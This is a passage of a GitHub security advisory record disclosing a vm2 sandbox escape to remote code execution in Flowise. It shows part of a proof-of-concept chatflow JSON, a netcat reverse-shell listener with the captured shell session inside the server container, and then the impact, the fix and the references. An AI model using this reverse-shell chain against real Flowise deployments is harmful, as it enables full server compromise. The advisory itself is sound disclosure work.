database\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/BufferMemory.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/memory.svg\\\",\\\"id\\\":\\\"bufferMemory_0\\\",\\\"inputAnchors\\\":[],\\\"inputParams\\\":[{\\\"additionalParams\\\":true,\\\"default\\\":\\\"\\\",\\\"description\\\":\\\"If not specified, a random id will be used. Learn \u003ca target=\\\\\\\"_blank\\\\\\\" href=\\\\\\\"https://docs.flowiseai.com/memory#ui-and-embedded-chat\\\\\\\"\u003emore\u003c/a\u003e\\\",\\\"display\\\":true,\\\"id\\\":\\\"bufferMemory_0-input-sessionId-string\\\",\\\"label\\\":\\\"Session Id\\\",\\\"name\\\":\\\"sessionId\\\",\\\"optional\\\":true,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":\\\"chat_history\\\",\\\"display\\\":true,\\\"id\\\":\\\"bufferMemory_0-input-memoryKey-string\\\",\\\"label\\\":\\\"Memory Key\\\",\\\"name\\\":\\\"memoryKey\\\",\\\"type\\\":\\\"string\\\"}],\\\"inputs\\\":{\\\"memoryKey\\\":\\\"chat_history\\\",\\\"sessionId\\\":\\\"\\\"},\\\"label\\\":\\\"Buffer Memory\\\",\\\"name\\\":\\\"bufferMemory\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Retrieve chat messages stored in database\\\",\\\"id\\\":\\\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\\\",\\\"label\\\":\\\"BufferMemory\\\",\\\"name\\\":\\\"bufferMemory\\\",\\\"type\\\":\\\"BufferMemory | BaseChatMemory | BaseMemory\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"BufferMemory\\\",\\\"version\\\":2},\\\"dragging\\\":false,\\\"height\\\":259,\\\"id\\\":\\\"bufferMemory_0\\\",\\\"position\\\":{\\\"x\\\":471.8374151939384,\\\"y\\\":1024.5965766366546},\\\"positionAbsolute\\\":{\\\"x\\\":471.8374151939384,\\\"y\\\":1024.5965766366546},\\\"selected\\\":false,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300},{\\\"data\\\":{\\\"baseClasses\\\":[\\\"ChatOpenAI\\\",\\\"BaseChatOpenAI\\\",\\\"BaseChatModel\\\",\\\"BaseLanguageModel\\\",\\\"Runnable\\\"],\\\"category\\\":\\\"Chat Models\\\",\\\"credential\\\":\\\"5eabcf42-5547-4cda-8f31-1d0b9d70d508\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models that use the Chat endpoint\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/ChatOpenAI.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/openai.svg\\\",\\\"id\\\":\\\"chatOpenAI_0\\\",\\\"inputAnchors\\\":[{\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-cache-BaseCache\\\",\\\"label\\\":\\\"Cache\\\",\\\"name\\\":\\\"cache\\\",\\\"optional\\\":true,\\\"type\\\":\\\"BaseCache\\\"}],\\\"inputParams\\\":[{\\\"credentialNames\\\":[\\\"openAIApi\\\"],\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-credential-credential\\\",\\\"label\\\":\\\"Connect Credential\\\",\\\"name\\\":\\\"credential\\\",\\\"type\\\":\\\"credential\\\"},{\\\"default\\\":\\\"gpt-4o-mini\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-modelName-asyncOptions\\\",\\\"label\\\":\\\"Model Name\\\",\\\"loadMethod\\\":\\\"listModels\\\",\\\"name\\\":\\\"modelName\\\",\\\"type\\\":\\\"asyncOptions\\\"},{\\\"default\\\":0.9,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-temperature-number\\\",\\\"label\\\":\\\"Temperature\\\",\\\"name\\\":\\\"temperature\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-streaming-boolean\\\",\\\"label\\\":\\\"Streaming\\\",\\\"name\\\":\\\"streaming\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"default\\\":false,\\\"description\\\":\\\"Allow image input. Refer to the \u003ca href=\\\\\\\"https://docs.flowiseai.com/using-flowise/uploads#image\\\\\\\" target=\\\\\\\"_blank\\\\\\\"\u003edocs\u003c/a\u003e for more details.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-allowImageUploads-boolean\\\",\\\"label\\\":\\\"Allow Image Uploads\\\",\\\"name\\\":\\\"allowImageUploads\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":false,\\\"description\\\":\\\"Whether the model supports reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-reasoning-boolean\\\",\\\"label\\\":\\\"Reasoning\\\",\\\"name\\\":\\\"reasoning\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Constrains effort on reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\\\",\\\"display\\\":false,\\\"id\\\":\\\"chatOpenAI_0-input-reasoningEffort-options\\\",\\\"label\\\":\\\"Reasoning Effort\\\",\\\"name\\\":\\\"reasoningEffort\\\",\\\"options\\\":[{\\\"label\\\":\\\"Low\\\",\\\"name\\\":\\\"low\\\"},{\\\"label\\\":\\\"Medium\\\",\\\"name\\\":\\\"medium\\\"},{\\\"label\\\":\\\"High\\\",\\\"name\\\":\\\"high\\\"},{\\\"description\\\":\\\"X-High is supported for all models after gpt-5.1-codex-max\\\",\\\"label\\\":\\\"X-High\\\",\\\"name\\\":\\\"xhigh\\\"}],\\\"show\\\":{\\\"reasoning\\\":true},\\\"type\\\":\\\"options\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model\u0027s reasoning process\\\",\\\"display\\\":false,\\\"id\\\":\\\"chatOpenAI_0-input-reasoningSummary-options\\\",\\\"label\\\":\\\"Reasoning Summary\\\",\\\"name\\\":\\\"reasoningSummary\\\",\\\"options\\\":[{\\\"label\\\":\\\"Auto\\\",\\\"name\\\":\\\"auto\\\"},{\\\"label\\\":\\\"Concise\\\",\\\"name\\\":\\\"concise\\\"},{\\\"label\\\":\\\"Detailed\\\",\\\"name\\\":\\\"detailed\\\"}],\\\"show\\\":{\\\"reasoning\\\":true},\\\"type\\\":\\\"options\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-maxTokens-number\\\",\\\"label\\\":\\\"Max Tokens\\\",\\\"name\\\":\\\"maxTokens\\\",\\\"optional\\\":true,\\\"step\\\":1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-topP-number\\\",\\\"label\\\":\\\"Top Probability\\\",\\\"name\\\":\\\"topP\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-frequencyPenalty-number\\\",\\\"label\\\":\\\"Frequency Penalty\\\",\\\"name\\\":\\\"frequencyPenalty\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-presencePenalty-number\\\",\\\"label\\\":\\\"Presence Penalty\\\",\\\"name\\\":\\\"presencePenalty\\\",\\\"optional\\\":true,\\\"step\\\":0.1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-timeout-number\\\",\\\"label\\\":\\\"Timeout\\\",\\\"name\\\":\\\"timeout\\\",\\\"optional\\\":true,\\\"step\\\":1,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Whether the model supports the `strict` argument when passing in tools. If not specified, the `strict` argument will not be passed to OpenAI.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-strictToolCalling-boolean\\\",\\\"label\\\":\\\"Strict Tool Calling\\\",\\\"name\\\":\\\"strictToolCalling\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"List of stop words to use when generating. Use comma to separate multiple stop words.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-stopSequence-string\\\",\\\"label\\\":\\\"Stop Sequence\\\",\\\"name\\\":\\\"stopSequence\\\",\\\"optional\\\":true,\\\"rows\\\":4,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Override the default base URL for the API, e.g., \\\\\\\"https://api.example.com/v2/\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-basepath-string\\\",\\\"label\\\":\\\"Base Path\\\",\\\"name\\\":\\\"basepath\\\",\\\"optional\\\":true,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Default headers to include with every request to the API.\\\",\\\"display\\\":true,\\\"id\\\":\\\"chatOpenAI_0-input-baseOptions-json\\\",\\\"label\\\":\\\"Base Options\\\",\\\"name\\\":\\\"baseOptions\\\",\\\"optional\\\":true,\\\"type\\\":\\\"json\\\"}],\\\"inputs\\\":{\\\"allowImageUploads\\\":\\\"\\\",\\\"baseOptions\\\":\\\"\\\",\\\"basepath\\\":\\\"\\\",\\\"cache\\\":\\\"\\\",\\\"frequencyPenalty\\\":\\\"\\\",\\\"maxTokens\\\":\\\"\\\",\\\"modelName\\\":\\\"gpt-4o-mini\\\",\\\"presencePenalty\\\":\\\"\\\",\\\"reasoning\\\":\\\"\\\",\\\"reasoningEffort\\\":\\\"\\\",\\\"reasoningSummary\\\":\\\"\\\",\\\"stopSequence\\\":\\\"\\\",\\\"streaming\\\":true,\\\"strictToolCalling\\\":\\\"\\\",\\\"temperature\\\":0.9,\\\"timeout\\\":\\\"\\\",\\\"topP\\\":\\\"\\\"},\\\"label\\\":\\\"OpenAI\\\",\\\"loadMethods\\\":{},\\\"name\\\":\\\"chatOpenAI\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Wrapper around OpenAI large language models that use the Chat endpoint\\\",\\\"id\\\":\\\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\\\",\\\"label\\\":\\\"ChatOpenAI\\\",\\\"name\\\":\\\"chatOpenAI\\\",\\\"type\\\":\\\"ChatOpenAI | BaseChatOpenAI | BaseChatModel | BaseLanguageModel | Runnable\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"ChatOpenAI\\\",\\\"version\\\":8.3},\\\"dragging\\\":false,\\\"height\\\":676,\\\"id\\\":\\\"chatOpenAI_0\\\",\\\"position\\\":{\\\"x\\\":150.47864305480687,\\\"y\\\":603.5006568904221},\\\"positionAbsolute\\\":{\\\"x\\\":150.47864305480687,\\\"y\\\":603.5006568904221},\\\"selected\\\":false,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300},{\\\"data\\\":{\\\"baseClasses\\\":[\\\"AgentExecutor\\\",\\\"BaseChain\\\",\\\"Runnable\\\"],\\\"category\\\":\\\"Agents\\\",\\\"description\\\":\\\"Agent that uses Function Calling to pick the tools and args to call\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/ToolAgent.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/toolAgent.png\\\",\\\"id\\\":\\\"toolAgent_0\\\",\\\"inputAnchors\\\":[{\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-tools-Tool\\\",\\\"label\\\":\\\"Tools\\\",\\\"list\\\":true,\\\"name\\\":\\\"tools\\\",\\\"type\\\":\\\"Tool\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-memory-BaseChatMemory\\\",\\\"label\\\":\\\"Memory\\\",\\\"name\\\":\\\"memory\\\",\\\"type\\\":\\\"BaseChatMemory\\\"},{\\\"description\\\":\\\"Only compatible with models that are capable of function calling: ChatOpenAI, ChatMistral, ChatAnthropic, ChatGoogleGenerativeAI, ChatVertexAI, GroqChat\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-model-BaseChatModel\\\",\\\"label\\\":\\\"Tool Calling Chat Model\\\",\\\"name\\\":\\\"model\\\",\\\"type\\\":\\\"BaseChatModel\\\"},{\\\"description\\\":\\\"Override existing prompt with Chat Prompt Template. Human Message must includes {input} variable\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-chatPromptTemplate-ChatPromptTemplate\\\",\\\"label\\\":\\\"Chat Prompt Template\\\",\\\"name\\\":\\\"chatPromptTemplate\\\",\\\"optional\\\":true,\\\"type\\\":\\\"ChatPromptTemplate\\\"},{\\\"description\\\":\\\"Detect text that could generate harmful output and prevent it from being sent to the language model\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-inputModeration-Moderation\\\",\\\"label\\\":\\\"Input Moderation\\\",\\\"list\\\":true,\\\"name\\\":\\\"inputModeration\\\",\\\"optional\\\":true,\\\"type\\\":\\\"Moderation\\\"}],\\\"inputParams\\\":[{\\\"additionalParams\\\":true,\\\"default\\\":\\\"You are a helpful AI assistant.\\\",\\\"description\\\":\\\"If Chat Prompt Template is provided, this will be ignored\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-systemMessage-string\\\",\\\"label\\\":\\\"System Message\\\",\\\"name\\\":\\\"systemMessage\\\",\\\"optional\\\":true,\\\"rows\\\":4,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-maxIterations-number\\\",\\\"label\\\":\\\"Max Iterations\\\",\\\"name\\\":\\\"maxIterations\\\",\\\"optional\\\":true,\\\"type\\\":\\\"number\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":false,\\\"description\\\":\\\"Stream detailed intermediate steps during agent execution\\\",\\\"display\\\":true,\\\"id\\\":\\\"toolAgent_0-input-enableDetailedStreaming-boolean\\\",\\\"label\\\":\\\"Enable Detailed Streaming\\\",\\\"name\\\":\\\"enableDetailedStreaming\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"}],\\\"inputs\\\":{\\\"chatPromptTemplate\\\":\\\"\\\",\\\"enableDetailedStreaming\\\":\\\"\\\",\\\"inputModeration\\\":\\\"\\\",\\\"maxIterations\\\":\\\"\\\",\\\"memory\\\":\\\"{{bufferMemory_0.data.instance}}\\\",\\\"model\\\":\\\"{{chatOpenAI_0.data.instance}}\\\",\\\"systemMessage\\\":\\\"You are a helpful AI assistant.\\\",\\\"tools\\\":[\\\"{{agentAsTool_0.data.instance}}\\\"]},\\\"label\\\":\\\"Tool Agent\\\",\\\"name\\\":\\\"toolAgent\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Agent that uses Function Calling to pick the tools and args to call\\\",\\\"id\\\":\\\"toolAgent_0-output-toolAgent-AgentExecutor|BaseChain|Runnable\\\",\\\"label\\\":\\\"AgentExecutor\\\",\\\"name\\\":\\\"toolAgent\\\",\\\"type\\\":\\\"AgentExecutor | BaseChain | Runnable\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"AgentExecutor\\\",\\\"version\\\":2},\\\"dragging\\\":false,\\\"height\\\":492,\\\"id\\\":\\\"toolAgent_0\\\",\\\"position\\\":{\\\"x\\\":1078.1036951401863,\\\"y\\\":523.9186243849886},\\\"positionAbsolute\\\":{\\\"x\\\":1078.1036951401863,\\\"y\\\":523.9186243849886},\\\"selected\\\":false,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300}],\\\"edges\\\":[{\\\"id\\\":\\\"agentAsTool_0-agentAsTool_0-output-agentAsTool-AgentAsTool|Tool-toolAgent_0-toolAgent_0-input-tools-Tool\\\",\\\"source\\\":\\\"agentAsTool_0\\\",\\\"sourceHandle\\\":\\\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\\\",\\\"target\\\":\\\"toolAgent_0\\\",\\\"targetHandle\\\":\\\"toolAgent_0-input-tools-Tool\\\",\\\"type\\\":\\\"buttonedge\\\"},{\\\"id\\\":\\\"bufferMemory_0-bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory-toolAgent_0-toolAgent_0-input-memory-BaseChatMemory\\\",\\\"source\\\":\\\"bufferMemory_0\\\",\\\"sourceHandle\\\":\\\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\\\",\\\"target\\\":\\\"toolAgent_0\\\",\\\"targetHandle\\\":\\\"toolAgent_0-input-memory-BaseChatMemory\\\",\\\"type\\\":\\\"buttonedge\\\"},{\\\"id\\\":\\\"chatOpenAI_0-chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable-toolAgent_0-toolAgent_0-input-model-BaseChatModel\\\",\\\"source\\\":\\\"chatOpenAI_0\\\",\\\"sourceHandle\\\":\\\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\\\",\\\"target\\\":\\\"toolAgent_0\\\",\\\"targetHandle\\\":\\\"toolAgent_0-input-model-BaseChatModel\\\",\\\"type\\\":\\\"buttonedge\\\"}],\\\"viewport\\\":{\\\"x\\\":372.22296982366913,\\\"y\\\":-109.94336492566799,\\\"zoom\\\":0.8069922237942956}}\"}\n```\n\n6. Send a chat message using the Chatflow and observe the reverse shell payload being executed outside the `vm2` sandbox, as shown in the terminal output below.\n\n```terminal\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 45533\nid\nuid=1000(node) gid=1000(node) groups=1000(node),1000(node)\nls -al\ntotal 36\ndrwxrwxr-x    1 node     node          4096 Apr  9 07:49 .\ndrwxrwxr-x    1 node     node          4096 Apr 11 10:03 ..\n-rw-rw-r--    1 node     node            21 Apr  9 07:49 .gitattributes\n-rwxrwxr-x    1 node     node           419 Apr  9 07:49 dev\n-rwxrwxr-x    1 node     node            30 Apr  9 07:49 dev.cmd\n-rwxr-xr-x    1 node     node           143 Apr  9 07:49 run\n-rwxrwxr-x    1 node     node            30 Apr  9 07:49 run.cmd\ncd /usr/src/flowise\nls\nCODE_OF_CONDUCT.md\nCONTRIBUTING.md\nDockerfile\nLICENSE.md\nREADME.md\nSECURITY.md\nartillery-load-test.yml\nassets\ndocker\ni18n\nimages\nmetrics\nnode_modules\npackage.json\npackages\npnpm-lock.yaml\npnpm-workspace.yaml\nturbo.json\ncat .git/HEAD\nref: refs/heads/main\ncat .git/refs/heads/main\ndddfb3c90eec900d747790a439bd362a764039cd \u003c1\u003e\n```\n\u003c1\u003e Confirmation that the sandbox escape impacts Flowise commit `dddfb3c90eec900d747790a439bd362a764039cd`.\n\nIII. Impact\n\nThis sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise that uses the default `vm2` sandbox, resulting in full compromise of the application.\n\nIV.  Solution\n\nThe current maintainers of the `vm2` sandbox strongly advise against executing untrusted code within it due to security risks (https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer). To prevent JavaScript sandbox escapes in Flowise, a more secure alternative, such as https://github.com/laverdet/isolated-vm, should be used.\n\nUpdating to the latest version of `vm2` sandbox will not patch this sandbox escape vulnerability.\n\nV.   References\n\n* `vm2` Security Disclaimer: https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer\n* `isolated-vm`: https://github.com/laverdet/isolated-vm",
  "id": "GHSA-wg86-r78f-74mp",
  "modified": "2026-08-04T15:13:33Z",
  "published": "2026-08-04T15:13:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wg86-r78f-74mp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/3f257bdc8196082a178da7134a075824401b13b9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise Sandbox Escape to RCE"
}